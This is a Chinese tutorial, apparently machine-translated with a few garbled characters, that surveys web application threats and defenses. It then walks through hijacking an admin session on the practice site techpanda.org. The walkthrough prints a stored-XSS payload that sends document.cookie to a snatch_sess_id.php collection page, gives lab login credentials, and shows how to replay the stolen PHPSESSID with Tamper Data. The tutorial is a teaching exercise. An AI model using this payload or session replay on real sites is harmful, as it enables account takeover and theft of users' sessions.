Web應用程序(aka網站)是基于客戶端 - 服務器模型的應用程序。服務器提供數據庫訪問和業務邏輯。它托管在Web服務器上??蛻舳藨贸绦蛟诳蛻舳薟eb瀏覽器上運行。Web應用程序通常用Java,C#和VB.Net,PHP,ColdFusion標記語言等語言編寫.Web應用程序中使用的數據庫引擎包括MySQL,MS SQL Server,PostgreSQL,SQLite等。
大多數Web應用程序都托管在可通過Internet訪問的公共服務器上。這使得它們易于訪問,因此容易受到攻擊。以下是常見的Web應用程序威脅。
- SQL注入 - 此威脅的目標可能是繞過登錄算法,破壞數據等。人話:走后門
- 拒絕服務攻擊 - 此威脅的目標可能是拒絕合法用戶訪問資源。人話:堵門
- 跨站點腳本XSS - 此威脅的目標可能是注入可在客戶端瀏覽器上執行的代碼。
- Cookie /會話中毒 - 此威脅的目標是通過攻擊者修改Cookie /會話數據以獲取未經授權的訪問權限。
- 表格篡改 - 此威脅的目標是修改表單數據,例如電子商務應用程序中的價格,以便攻擊者可以以較低的價格獲得物品。
- 代碼注入 - 此威脅的目標是注入可在服務器上執行的PHP,Python等代碼。代碼可以安裝后門,泄露敏感信息等。
- 破壞 - 此威脅的目標是修改網站上顯示的頁面,并將所有頁面請求重定向到包含攻擊者消息的單個頁面。
接下來我們該如何保護您的網站免受黑客攻擊?
組織可以采用以下策略來保護自己免受Web服務器攻擊。
- SQL注入 - 在將用戶參數提交到數據庫進行處理之前清理和驗證用戶參數有助于降低通過SQL注入攻擊的可能性。MS SQL Server,MySQL等數據庫引擎支持參數和預處理語句。它們比傳統的SQL語句更安全
- 拒絕服務攻擊 -如果攻擊是簡單的DoS,則可以使用防火墻從可疑IP地址中刪除流量。正確配置網絡和入侵檢測系統還有助于降低DoS攻擊成功的可能性。
- 跨站點腳本 -驗證和清理標頭,通過URL傳遞的參數,表單參數和隱藏值可以幫助減少XSS攻擊。
- Cookie /會話中毒 - 可以通過加密Cookie的內容,在一段時間后將Cookie超時,將Cookie與用于創建Cookie的客戶端IP地址相關聯來防止這種情況。
- 表單回火 -這可以通過在處理之前驗證和驗證用戶輸入來防止。
- 代碼注入 -可以通過將所有參數視為數據而不是可執行代碼來防止這種情況。可以使用清理和驗證來實現此目的。
- 破壞 -一個好的Web應用程序開發安全策略應該確保它密封常用的漏洞來訪問Web服務器。在開發Web應用程序時,這可以是操作系統,Web服務器軟件和最佳安全實踐的正確配置。
最后我們來破解網站
我們將劫持位于www.techpanda.org的Web應用程序的用戶會話。我們將使用跨站點腳本來讀取cookie會話ID,然后使用它來模擬合法的用戶會話。
假設是攻擊者可以訪問Web應用程序,并且他想劫持使用相同應用程序的其他用戶的會話。假設攻擊者的訪問帳戶是有限的,攻擊的目標可能是獲取對Web應用程序的管理員訪問權限。
入門
- 打開http://www.techpanda.org/
- 出于實踐目的,強烈建議使用SQL注入獲取訪問權限。
- 登錄電子郵件是admin@google.com,密碼是Password2010
- 如果您已成功登錄,那么您將獲得以下儀表板
- 單擊“添加新聯系人”
- 輸入以下作為名字
- <a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">小莫</a>
這里,上面的代碼使用JavaScript。它添加了一個帶onclick事件的超鏈接。當毫無戒心的用戶單擊該鏈接時,該事件將檢索PHP cookie會話ID并將其與URL中的會話ID一起發送到snatch_sess_id.php頁面
輸入其余詳細信息,如下所示
- 單擊“保存更改”
- 您的儀表板現在看起來像以下屏幕
- 由于跨站點腳本代碼存儲在數據庫中,因此每次具有訪問權限的用戶登錄時都會加載它
- 假設管理員登錄并點擊顯示為Dark的超鏈接
- 他/她將獲得URL中顯示會話ID的窗口注意:腳本可能會將值發送到存儲PHPSESSID的某個遠程服務器,然后用戶重定向回網站,就好像什么都沒發生一樣。
注意:您獲得的值可能與本教程中的值不同,但概念是相同的
使用Firefox和Tamper Data插件進行會話模擬
下面的流程圖顯示了完成此練習必須采取的步驟。
您將需要此部分的Firefox Web瀏覽器和Tamper Data插件
- 打開Firefox并安裝add,如下圖所
- 搜索篡改數據,然后單擊安裝,如上所示
- 單擊接受并安裝..
- 安裝完成后,單擊立即重新啟動
- 如果未顯示,請在Firefox中啟用菜單欄
- 單擊工具菜單,然后選擇防篡改數據,如下所示
- 您將獲得以下窗口。注意:如果Windows不為空,請點擊清除按鈕
- 單擊“開始篡改”菜單
- 切換回Firefox Web瀏覽器,輸入http://www.techpanda.org/dashboard.php,然后按回車鍵加載頁面
- 您將從Tamper Data中彈出以下內容
- 彈出窗口有三(3)個選項。“篡改”選項允許您在將HTTP標頭信息提交到服務器之前修改它。
- 點擊它
- 您將看到以下窗口
- 復制從攻擊URL復制的PHP會話ID,并在等號后粘貼它。你的價值現在應該是這樣的
- PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2
- 單擊“確定”按鈕
- 您將再次獲得Tamper數據彈出窗口
- 取消選中要求繼續篡改的復選框?
- 完成后單擊“提交”按鈕
- 您應該能夠看到儀表板,如下所示注意
- :我們沒有登錄,我們使用我們使用跨站點腳本檢索的PHPSESSID值來模擬登錄會話